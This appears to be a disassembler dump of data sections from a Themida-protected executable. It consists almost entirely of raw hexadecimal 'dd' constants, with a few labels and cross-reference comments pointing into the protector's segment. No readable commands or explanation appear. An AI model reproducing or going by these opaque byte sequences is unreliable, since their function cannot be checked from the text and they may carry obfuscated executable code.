		dd 1BCE17E6h, 0DB6734DFh, 9D0000A6h, 0BA9F0042h, 0DC80h
		dd 1B540000h, 0FECCh, 0FBFE4Ch,	0B4870000h, 202352DDh
		dd 9E019ED9h, 0BAE97C80h, 89000013h, 1526D19Dh,	0B5BD8306h
		dd 6152Dh, 73850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 160424h, 52420000h, 0D6573DC3h, 0B8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 14FCC170h, 1D958B2Fh, 0C2061515h, 6A0004h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 3175AAC3h
		dd 3860Fh, 8B660000h, 6AC08BC8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8307C353h, 1508F5BDh
		dd 9750006h, 3ADBD83h, 74000615h, 8B535013h, 4D0B8C0h
		dd 9D8D0000h, 617A872h,	585BD3FFh, 3ADBD83h, 74000615h
		dd 0B8535011h, 4D0h, 0A7BF9D8Dh, 0D3FF0617h, 6A585Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F5D53C3h, 0BE9C9B7h, 0D1000000h, 32374D21h,	0DD11F76Ch
		dd 0E860A7DEh, 0Eh, 77C18D2Bh, 0F8AA31FFh, 0D19653CCh
		dd 14E81FA1h, 0C9000000h, 3518A3Ch, 0ECB36F0Ah,	1D293DF0h
		dd 859ED0FCh, 5BBF5E03h, 68A0F5Fh, 8B000000h, 1510C995h
		dd 0C08B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	2EC35747h, 0A62C7B09h, 8D69039Eh, 18AB1385h, 71B58906h
		dd 90061529h, 14E8h, 0A5ED5800h, 0C017FF6Dh, 2F2F05ADh
		dd 5F0D68A9h, 32EBDB5h,	8B665679h, 505A5FD0h, 13E8h, 42C43400h
		dd 0DE8A2365h, 7E18BB76h, 83D3C892h, 9CFB637Dh,	11E8h
		db 0
byte_5B4711	db 41h,	67h, 85h	; DATA XREF: Themida_:0057A868o
		dd 0BE197502h, 0D00E5D98h, 406011F0h, 61607D8Ah, 0F905F5Ah
		dd 1C84h, 10E800h, 0B94D0000h, 0C9122A4h, 9F163741h, 0A231677Dh
		dd 9589156Bh, 6150E39h,	0D195035Fh, 8D061528h, 18AAD085h
		dd 81666006h, 8BA4ADE7h, 150DB9BDh, 51506106h, 13E8h
		db 0
byte_5B4769	db 19h,	31h, 0BCh	; DATA XREF: Themida_:00579BB4o
		dd 0CEB7629Dh, 4A4DB230h, 7DD362A1h, 9B3FAB3h, 4895F5Ah
		dd 918D8924h, 0E9061505h, 12h, 10FABE6Bh, 625AF5F2h, 4594885Eh
		dd 21B31208h, 95FF9E9Fh, 6151101h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0B0C35646h,	7B15836Bh, 184B6A8h
		dd 152B1585h, 24448B06h, 0CA8B6604h, 1859589h, 85890615h
		dd 618AAFBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	58C35747h, 0FB118D7Bh, 8BF3511Ah, 0F082444h, 482h
		dd 63B96600h, 0F858984h, 890618ABh, 152755BDh, 81BD8306h
		dd 61504h, 131850Fh, 958B0000h,	61511F9h, 9C585C6h, 6A470615h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0FD36C351h, 0DCD4688Ah, 5DBD01E5h, 0F061510h
		dd 1F8Ah, 13E800h, 0B4720000h, 0CB5FE38Bh, 90C1BC55h, 0AE323942h
		dd 0F70187B9h, 71BD8B8Ch, 5F06151Ch, 4E8h, 9AA7D200h, 36BF66D4h
		dd 448B50DEh, 52500424h, 0BE8h,	1B4F3D00h, 0D4EAA441h
		dd 257EB556h, 5FFA8B66h, 8B66310Fh, 8B585AFAh, 50525000h
		dd 0B9310F52h, 43A94611h, 310F585Ah, 4489585Ah,	52500424h
		dd 3D4DBF66h, 585A310Fh, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0E27A39BAh, 0B5FFC88Ah
		dd 6152811h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	5BC35646h, 3EB516EDh, 95297E4Dh, 6151799h, 8DFB8B66h
		dd 1872BC85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0D0FFC2E2h, 55C4F181h, 85893083h
		dd 6150481h, 83FE8B66h,	150E1DBDh, 850F0006h, 112h, 85C6D3B2h
		dd 61509C5h, 3830F47h, 66000000h, 4E8D38Bh, 0E2000000h
		dd 0E98A0FB5h, 0Eh, 2E90FD54h, 0C1FFC738h, 0BBFC0EF1h
		dd 0B650D37Eh, 24448B9Ch, 701ABA04h, 8B281Dh, 5E8h, 6EB1C800h
		dd 0BF660327h, 895A571Fh, 50042444h, 0FE952h, 0B5660000h
		dd 4770F80Eh, 413F4D39h, 0F1EB9060h, 0E9310FB0h, 0Dh, 2DA3C882h
		dd 0C30CAB44h, 0EE3548DDh, 58585A11h, 0E475EA81h, 0B5FF6BD2h
		dd 6152811h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0C35545h, 12D6BA54h, 11E8h, 0CD6A9C00h,	0FEC03223h
		dd 0DF188258h, 85ED38A4h, 0C580BE50h, 858D5A0Dh, 61872BCh
		dd 29950960h, 66061508h, 61D3CBBFh, 8BB5D0FFh, 0EC05B9BFh
		dd 1D85893Ch, 6A06150Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 283CC350h, 0DE9h, 595D8500h
		dd 4CC1E0AFh, 0D204B7B8h, 0BD83510Dh, 6150651h,	0F1850F00h
		dd 0E8000000h, 0Eh, 9E7A0DC5h, 4C3C8B8Fh, 1A456A5h, 0C65A1476h
		dd 1509C585h, 9D895606h, 61504E5h, 2EEA7268h, 8112B6E6h
		dd 874B2434h, 6A3231h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0EE99DC3h, 0E4000000h, 0E9AEE235h
		dd 781020D2h, 1E974620h, 0FF9AB20Ch, 152811B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0D55BEC4Ch, 7FF73ADDh, 25950960h, 0E906152Ah, 0Fh, 153276B7h
		dd 0A3D8AC74h, 7B70FCBDh, 61CFABA5h, 72BC858Dh,	6A0618h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 8859DCC3h, 0F140CD09h, 8E8h,	0B7ED6200h, 0ADC39C23h
		dd 0ADBD33D6h, 59061506h, 0B9CA8153h, 5A0360C0h, 8589D0FFh
		dd 6150651h, 9C585C6h, 6A6C0615h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B324C355h
		dd 0F1817B73h, 4DE19A3Dh, 5E9h,	9FB2FA00h, 4E8B539h, 83000000h
		dd 66DB0570h, 508076BAh, 71BF5353h, 5A39D691h, 24448B5Fh
		dd 50008B04h, 0FCE8B52h, 0B8666031h, 5950C758h,	89585A61h
		dd 0F042444h, 0A86h, 5E900h, 72A70000h,	5862D283h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E6C35040h, 265A7117h
		dd 7E8h, 79165900h, 0B8117847h,	10E8h, 0EA812E00h, 0CEA08E4Fh
		dd 0B4F00D8Bh, 5BEBA2B1h, 5961605Ah, 85B5FF5Fh,	31061516h
		dd 150C298Dh, 38858D06h, 6A06153Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0A714C352h
		dd 175D23C6h, 0B589604Eh, 6152B3Dh, 1371B529h, 0FF610615h
		dd 65BD8BD0h, 89061506h, 18AAFF85h, 9E806h, 16BC0000h
		dd 4AF3D46h, 5A815A0Ah,	0AB1BBD83h, 0F000618h, 0EF85h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0A352A0A2h, 0DD6E473Fh, 0E78166C5h, 85C6A5F6h
		dd 61509C5h, 68FE8B49h,	4F67B029h, 12E9h, 18ACB400h, 0A44A8ED9h
		dd 7FD81845h, 17A52FDBh, 81889126h, 79C02404h, 0DA803CADh
		dd 85B5FFDAh, 6A061516h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0E489C355h,	0AF6FB615h
		dd 0ABE0F926h, 46D4BF66h, 0AE98D8Bh, 858D0615h,	6153B38h
		dd 48B0Fh, 0BF660000h, 0D0FF3828h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 80C35747h, 0BF329011h, 50AEEA81h
		dd 85893C6Fh, 618AB1Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 28C35545h, 441502E5h,	0FDAE0E53h, 12E8046Ah
		dd 0F6000000h, 88DF4CEEh, 969294DFh, 0DF1AA112h, 0A5E26236h
		dd 0FBB70F2Ch, 359E6859h, 6656BD2Fh, 5A3348B9h,	62240481h
		dd 6A42D0DAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 2B46C356h, 152FD9BDh, 4E806h
		dd 0
		dd 0B5530001h, 0B65059A0h, 24448B36h, 8BEE8A04h, 14E900h
		dd 91E00000h, 0EA9C7C22h, 0BBE0E91Ch, 37F2EAD2h, 9D4F4F91h
		dd 44892783h, 0BF660424h, 80586777h, 6A3DF6h, 33899589h
		dd 95FF0615h, 6151519h,	85295260h, 61517F1h, 0D2816659h
		dd 8961B1E5h, 18AB0B85h, 12E906h, 57780000h, 0A032C32Bh
		dd 6FD42942h, 27525CDDh, 79ADAC37h, 0C7D08B66h,	18AB0385h
		dd 6, 0C8E0F00h, 0F000000h, 684h, 5BD0900h, 6A06150Ah
		dd 5E900h, 6A7E0000h, 6801D5E7h, 6D892A57h, 95F9BA60h
		dd 50514A4Dh, 5A310F52h, 81615E58h, 2A572434h, 8D8B6D88h
		dd 6152445h, 0E279B990h, 56500296h, 8D8B905Ah, 6150C5Dh
		dd 8D030B6Ah, 6150719h,	0AAD8858Dh, 6A0618h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 2379AAC3h
		dd 7E9h, 0FE9B3800h, 72D65A81h,	0A5BE6090h, 66799196h
		dd 5061FA8Bh, 1CBE6060h, 0E809EFB1h, 0Fh, 73B021Bh, 3F83F5B5h
		dd 125BE367h, 5A1BD834h, 0DE861h, 0BB520000h, 93B53D64h
		dd 0E5095046h, 53EF4D69h, 90615A58h, 95FFCE8Ah,	6150481h
		dd 4B97D281h, 0FE95F23h, 0D0000000h, 0A71E008Ch, 0E34E49E0h
		dd 0DDCFF130h, 0B58D217Ch, 618AAE2h, 19118D29h,	66500615h
		dd 896D49BAh, 0BD892434h, 6150235h, 2850Fh, 86B20000h
		dd 8D0F5350h, 6, 840Fh,	895A0000h, 0FFF82404h, 150E1D95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 78D56CD8h, 0BFC2182Fh, 0EE9513Ah, 0E3000000h
		dd 529F4505h, 3554C198h, 59662652h, 0BD18BA2h, 2C850FC0h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B7CCC356h, 0FAC59408h, 0FEB70FD5h
		dd 6CFE9h, 0FFFCF800h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0ED18204Ah, 825DC465h
		dd 0D08B66ABh, 0AB0BB58Bh, 0E9600618h, 14h, 554E2349h
		dd 0A34FB501h, 50342A6Ah, 72DACB7h, 7B818107h, 68B0Fh
		dd 958B0000h, 6152781h,	20468D61h, 0BE5BD29h, 46A0615h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7AC35545h
		dd 25559589h, 0E9900615h, 10h, 6FB2AA33h, 5673206Bh, 6D142ACAh
		dd 835ABC38h, 9E850h, 0DA9D0000h, 80222DA9h, 5FAC7527h
		dd 0FFCA8B90h, 18AB1B95h, 81666006h, 8B5431C7h,	152A858Dh
		dd 0C00B6106h, 82840Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 96711BC3h, 8BD93A77h
		dd 15019DBDh, 8E906h, 20890000h, 99E28E21h, 0CDE93D3Fh
		dd 6A000005h, 3E85500h,	20000000h
dword_5B5100	dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 628BC355h
					; DATA XREF: Themida_:0057BF84o
		dd 5AC534E5h, 0FECEFD12h, 0DE9h, 0E9562000h, 9CDF80AAh
		dd 0D8818CFFh, 16BF34DEh, 0E97192A8h, 8, 4F9B87E3h, 5B4148A9h
		dd 207E80h, 57A840Fh, 8E80000h,	0D000000h, 723A1628h, 0FCABB38h
		dd 605AD7BFh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	5FC35242h, 71BDD6AFh, 0ADB52960h, 8D061511h, 6A2046h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0CDBBC1C3h, 99FE63EAh, 0D78166E3h, 85897EA4h, 618AB07h
		dd 3CDB589h, 0CFE90615h, 0E9000000h, 8,	0BB20E33Eh, 6FCC5412h
		dd 2731958Bh, 6A400615h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 607AC352h, 0C0E80D13h
		dd 0F6125D94h, 4DBD3352h, 5F061515h, 24048950h,	6AD3BF0Fh
		dd 50EE8A04h, 0EE9h, 7D8BDE00h,	5F9F683Bh, 55DA7197h, 89665275h
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0A78BD8C3h, 95FFAF87h, 618AB1Bh, 1D8D8529h
		dd 0D88B0615h, 856574B9h, 6A5859h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 583743C3h, 0A18D8995h
		dd 0B061507h, 0B840FDBh, 0E9000000h, 43Ch, 18AD958Bh, 38800615h
		dd 3B850F00h, 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 2CC9C356h, 38EF120Ch
		dd 8C0FBB8Eh, 6, 1DDD8D8Bh, 0D18B0615h,	2BE9h, 11E800h
		dd 0A7B80000h, 0B8CE4F2Ah, 3A6DEED9h, 2601F467h, 0FAF402Bh
		dd 4859CFB7h, 0A830Fh, 8B600000h, 800FD7h, 61000000h, 0AB07853Bh
		dd 820F0618h, 53h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0BDC35040h, 0F90E018h, 3880D2B7h, 28840F5Ch
		dd 0F000000h, 0E8Ch, 9D896000h,	61517E9h, 57D9D89h, 80610615h
		dd 850F2F38h, 0FFFFFF9Bh, 67E2D281h, 81661A6Ah,	4008F5E9h
		dd 0FBD83F9h, 618ABh, 17B840Fh,	0D6800000h, 4895078h, 0B5F68024h
		dd 3CFBF0Fh, 18AB0F85h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 47808230h, 0D8590C89h
		dd 0DE986h, 0E0BF0000h,	13F5C531h, 0AB7A6870h, 50342B2Ah
		dd 0A0C0BA50h, 895A7E6Eh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0CE0DD1C3h, 0A3C49CEh
		dd 8B601402h, 1519698Dh, 38E48006h, 60046A61h, 0ED9D8Bh
		dd 95330615h, 6151539h,	0F38A9061h, 95099050h, 615072Dh
		dd 0AB1B95FFh, 958B0618h, 6152E2Dh, 9E9D88Bh, 0E6000000h
		dd 0DA6AB3EDh, 0A56B1210h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0FDB0BECh
		dd 5884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 82531856h, 25BE9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0C71EA03Eh, 69D01DF5h, 5E942h, 8BBD0000h, 0F53568Ah
		dd 83h,	0C600h,	291BD33h, 6A580615h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0C1A2C350h
		dd 628EA13Eh, 1FD8D89h,	0DE80615h, 30000000h, 0FB420A7Ch
		dd 40F9C61Dh, 0F703AC6Dh, 489505Ah, 0CDB58924h,	6A061524h
		dd 0CC71B91Eh, 0D78B0672h, 82F4BF50h, 4893416h,	6890F24h
		dd 1000000h, 15251195h,	1B95FF06h, 0E90618ABh, 9, 1B797235h
		dd 800D1BDBh, 0D2816618h, 0D88B6B85h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 87C35545h, 0B9AF283Ch, 23568056h
		dd 152F818Dh, 10E95A06h, 0D8000000h, 0E0E4DE88h, 8A098FECh
		dd 9C3717FCh, 58358DD7h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 6EC35242h, 0AC1BD89h,	0DB0B0615h, 5D840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0F0B3D3C3h, 2CDB529h, 95890615h, 61510C9h
		dd 107E9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 958040B6h, 508F5D0Bh, 5E958h, 0B60C0000h
		dd 502E48D0h, 489C5B5h,	0FBB5FF24h, 6A0618AAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0B1AFC355h, 923D1BABh, 0FFD78BC5h, 18AAFF95h, 8D8B6006h
		dd 6152281h, 7AD88166h,	0C00B6188h, 58850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0A553F1C3h, 0C88B6C33h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0C7CA8B26h
		dd 18AB0385h, 106h, 0E917B100h,	3Ch, 2C658D8Bh,	66610615h
		dd 8126F6BFh, 11CC6h, 0E9D48A00h, 0FFFFF9ADh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 1FC35646h, 39654041h
		dd 4AF58013h, 4E8h, 800000h, 0F525000h,	86BA6631h, 50585A6Ah
		dd 424448Bh, 0B11BF66h,	8E8008Bh, 78000000h, 53C31A7Dh
		dd 6610909Fh, 5A34BBB9h, 4244489h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0AC58F826h
		dd 2B006A3Ch, 1517258Dh, 0BB5FF06h, 0E90618ABh,	0Dh, 0C2131F23h
		dd 513FDDB8h, 0C129A97Eh, 0FD95297Bh, 0FF061501h, 15065195h
		dd 0EE906h, 0F68B0000h,	1EC4107Ch, 3C1DE903h, 1324D99Eh
		dd 0AB03858Bh, 0BD8B0618h, 6153035h, 895F5250h,	6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 2905BAC3h, 152D159Dh, 13858D06h, 8A0618ABh, 0EE8A50CEh
		dd 51240489h, 0FF7709BAh, 858D5F27h, 618AAD0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B6C35141h, 0F926AF6Fh
		dd 50F8ABE0h, 0EE8h, 0FCEB6D00h, 2E8EB5E6h, 8D28BA4Eh
		dd 66D57650h, 5A3BC3BFh, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 5DBCC350h
		dd 26CD95FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0AA7D48C3h, 0BD09605Ch, 615300Dh
		dd 19658D8Bh, 1610615h,	1507099Dh, 81C08B06h, 0A25FD8F1h
		dd 0F5BD837Dh, 61508h, 0BD830975h, 61503ADh, 50137400h
		dd 0B8C08B53h, 4D0h, 0A8D99D8Dh, 0D3FF0617h, 0BD83585Bh
		dd 61503ADh, 50117400h,	4D0B853h, 9D8D0000h, 617A7D8h
		dd 585BD3FFh, 6AFAB70Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 269C357h, 0F5895F71h
		dd 0BD23C08Bh, 6152311h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 5A2E42EFh, 0AE92Dh, 28360000h
		dd 0E5F9E599h, 1DB34E19h, 6A0008C2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 77BEC351h
		dd 91B58952h, 29061503h, 151DB5BDh, 0FC08B06h, 858DD3B7h
		dd 618AB2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	32C35343h, 8922F180h, 15037585h, 75E906h, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	1685B5FFh, 858D0615h, 61872BCh
		dd 8589D0FFh, 61514EDh,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 14ED95FFh, 32E90615h, 0C6000000h, 1509C585h
		dd 0DF685606h, 0FFA9C530h, 152811B5h, 0BC858D06h, 0FF061872h
		dd 198589D0h, 8D061530h, 151E7585h, 206A5006h, 0FF56056Ah
		dd 15301995h, 0C1C36106h, 39EB06E0h, 0E30000h, 0E302CCh
		dd 0E302E4h, 0
		dd 44709CC9h, 75699099h, 21789806h, 4C739CC0h, 4D79DBB6h
		dd 7553F581h, 2151B9B2h, 51528135h, 49499BD8h, 457C90ACh
		dd 0E196956Fh, 2C1040B4h, 9C9EF3CEh, 2708FD18h,	0A21480F6h
		dd 341E58C6h, 3869F5BBh, 0E196A68Eh, 21194CD7h,	0A4987CB7h
		dd 0AC1BE0C8h, 36B76B70h, 7ACE0AF0h, 8CA07623h,	211BE0BEh
		dd 724DE2AAh, 21194CD7h, 0A4987CB7h, 0AC1BE0C8h, 36BA7870h
		dd 7ACE0AF0h, 721D9F23h, 211DF655h, 0E246D5DEh,	5417C34h
		dd 55974B3h, 211DEFDFh,	0E24EB6EDh, 7160EB60h, 4B5C03BDh
		dd 22F5A7BDh, 11DF5DEh,	0A8473635h, 0A019D1E3h,	3D19D19Fh
		dd 631DF5EDh, 0A43536A4h, 0D361CDD6h, 97AFDDF4h, 4BDD7E47h
		dd 22F5A76Fh, 11DF5B7h,	0A8473681h, 0A019D1B9h,	3D19D1B2h
		dd 631DF57Bh, 87F836EFh, 0D641053Bh, 0E7BAE4EEh, 34143032h
		dd 9C34A3DDh, 2708E810h, 738487Dh, 0A975F36Eh, 9BFC83D7h
		dd 13E888C9h, 0FB39C1EEh, 2E602B65h, 94E20E64h,	2708DDFCh
		dd 0EDC68DFh, 0A490F36Eh, 27058701h, 0C94EF5B4h, 211DF56Ch
		dd 7ADEAE97h, 2539A952h, 2539B16Ch, 211DF5EAh, 0CDDEA638h
		dd 98AD4C8Ch, 5CF1FBBFh, 9C942590h, 2708C1A6h, 2177F1B1h
		dd 211E1DBFh, 7B3DF5F6h, 7594AFB8h, 659CF199h, 2105F1FAh
		dd 735FF56Fh, 0DE902474h, 827528ACh, 4793DD80h,	259C227Dh
		dd 0F6BFA85Fh, 21171CCCh, 83CF5DEh, 0C4FC6966h,	27DD9F46h
		dd 211DF133h, 211F19EDh, 0D0564FF6h, 714DBF62h,	0C84FA5EFh
		dd 211DF5CCh, 66C8508Ah, 464F6933h, 0B1702987h,	957E5D13h
		dd 1012FB0Ch, 1012A72Bh, 7947ADE7h, 4DA2C4D1h, 7B60B3ABh
		dd 5597EEFh, 0A81D7EDFh, 0C819D1A9h, 211DF5E5h,	0C9333579h
		dd 267EDC56h, 2D7E35F3h, 0F78C5974h, 79A61B08h,	0C948F5B1h
		dd 211DF5EEh, 7CDEA8D6h, 253999F2h, 2539B13Ch, 211DF5C8h
		dd 16DEA02Ah, 2177E66Eh, 2BF47850h, 0F1E2F3F8h,	0FA4607Dh
		dd 0A494F36Eh, 27054A30h, 0D9963F55h, 211F396Ah, 0B0987CB7h
		dd 0A21BED64h, 0A494ED2Dh, 27054A63h, 0CDA43548h, 0D21DF5BFh
		dd 0E7969574h, 211DFA86h, 52AC32B7h, 0D6C254CAh, 0A0CB3EE7h
		dd 79BBBB34h, 701D9F1Ah, 211DF655h, 0E244D5DEh,	5517C36h
		dd 55974B3h, 211DEEDFh,	0E24CB4EDh, 0A57858D6h,	7425D41h
		dd 564488Eh, 0A4DBF3CBh, 2708FCAAh, 2595FAF4h, 471DF5DBh
		dd 0C85C3354h, 211DF5E5h, 0AF521FFAh, 2C963B1Dh, 83AC412Eh
		dd 6947AE84h, 49A73A6Fh, 91C93B19h, 159C3D66h, 92B869D2h
		dd 0E8A87E57h, 0AA1BE0BCh, 3414F463h, 30A80A69h, 0AA1BE09Fh
		dd 340A6C56h, 9D9878EBh, 4B1BED84h, 22F5A07Bh, 11DF5BDh
		dd 0A8403683h, 0A019D103h, 3519D1F3h, 641DF5DBh, 473236B8h
		dd 287B2377h, 0AA7B2584h, 0D0987C43h, 101BE0F4h, 340C54E2h
		dd 21171DB1h
		db 0DBh, 0F5h
word_5B5CDE	dw 9913h		; DATA XREF: Themida_:00579FF8o
		dd 10C76074h, 0D2AD6649h, 211DFC92h, 2170B9BDh,	174467B7h
		dd 0AC43E95Bh, 340C0832h, 711D9FDDh, 211DF605h,	0E245D5F6h
		dd 5597C23h, 55974B9h, 211DE9DAh, 0E24DB56Fh, 2400FDB1h
		dd 9F717E04h, 0E8A87C18h, 0A81BE0F3h, 343B8CFEh, 0C8A87EBBh
		dd 0E71BE0F2h, 341430EAh, 0AA7DA6B1h, 54887C21h, 401BE0CBh
		dd 17245C9Eh, 0A0EF7ECDh, 2E32D1B9h, 0AD12B3A5h, 211DF56Eh
		dd 94E20C42h, 2708DDCAh, 0ACE742E2h, 396F4973h,	711D9F7Dh
		dd 211DF655h, 0E245D5DEh, 5597C37h, 55974B3h, 211DE1DFh
		dd 0E24DB5EDh, 21111CD3h, 60C8F57Bh, 0CFCCD8E3h, 6D3941EBh
		dd 0D09CB9E2h, 622D80Ch, 21772524h, 211E1DBEh, 7A3DF5F6h
		dd 7D94AEB8h, 659CF199h, 2105F1FAh, 725EF56Fh, 2B10A074h
		dd 0A0129412h, 211DF5EEh, 0A8EA42F9h, 3433D4FEh, 1CA87EBBh
		dd 0E71BE0DAh, 341430EAh, 1DACA6B1h, 86B44CB3h,	21181D52h
		dd 0EF42F5F6h, 98F12073h, 75918FDCh, 5197480h, 396CEF95h
		dd 211DFD5Eh, 113DC7DBh, 0E7C1D19h, 30A80AFDh, 2E1BE053h
		dd 211DF336h, 0D8A8C6DEh, 0AC1BE068h, 396F4932h, 154E4CDDh
		dd 0F1E2EDB9h, 0C94CF59Ch, 211DF578h, 78DEAC9Dh, 2539B957h
		dd 2539B1EEh, 211DF5AFh, 5ADEA49Ah, 2268797Eh, 9E123D7Dh
		dd 0C0987C8Dh, 0A1BE0ADh, 340CF063h, 0E4983369h, 661BE0BEh
		dd 86448F0h, 25F5F3F8h,	881DF5F6h, 2EAA2BA6h, 211DF833h
		dd 0A91295DEh, 211DF56Fh, 255C0808h, 0C94D94EFh, 211DF5F9h
		dd 0E0C8D2D6h, 0D0DEB514h, 272BFEC5h, 0CF53EF68h, 263FBFBBh
		dd 211DE45Fh, 0F53D43DBh, 520ADD39h, 0A74C62C9h, 0F1941666h
		dd 0AA7BA718h, 0AA42AA0Fh, 0C919D12Bh, 211DF5BFh, 89E7D345h
		dd 0C004BBF2h, 0AA43027Dh, 5597C7Bh, 21171CB9h,	0D57DF5DEh
		dd 0FBA6DD37h, 3E1EA1D0h, 721D9F83h, 211DF605h,	0E246D5F6h
		dd 5417C20h, 55974B9h, 211DE9DAh, 0E24EB66Fh, 4CBF5E05h
		dd 0D12F06DDh, 0F5A4932Eh, 30A80ADBh, 4B1BE053h, 22F5A6BDh
		dd 11DF5DEh, 0A8463634h, 0A019D1EBh, 3919D19Fh,	621DF5EDh
		dd 2C0336A5h, 4121223Eh, 211DE454h, 2F22E1DEh, 3E50EC8Dh
		dd 3073662Ah, 0D10D9D8Dh, 0AA7B4E3Ch, 0AC96940Fh, 2708D8EAh
		dd 64191A3Ch, 0A4908BDDh, 270587D3h, 0BA8489Eh,	9496F3CEh
		dd 2708E37Ch, 21772509h, 211E1D28h, 7A3DF5BDh, 7D94AE1Dh
		dd 659CF14Bh, 2105F193h, 725EF5DBh, 0A6AF872Eh,	0B4946986h
		dd 2708D636h, 35487034h, 2177F3CBh, 211E1D3Ch, 7A3DF5B7h
		dd 7D94AE18h, 659CF1C9h, 2106F1D2h, 725EF57Bh, 4388647Eh
		dd 0D343B9E1h, 0A8E37E6Ch, 3438A822h, 0E49833DDh, 661BE0E4h
		dd 25F53B7Ch, 5B1DF57Bh, 719C29ADh, 211DE736h, 908F046Fh
		dd 0D7C3FFE7h, 19EE0192h, 43EBAC3Fh, 0C8869AD4h, 211DF57Ch
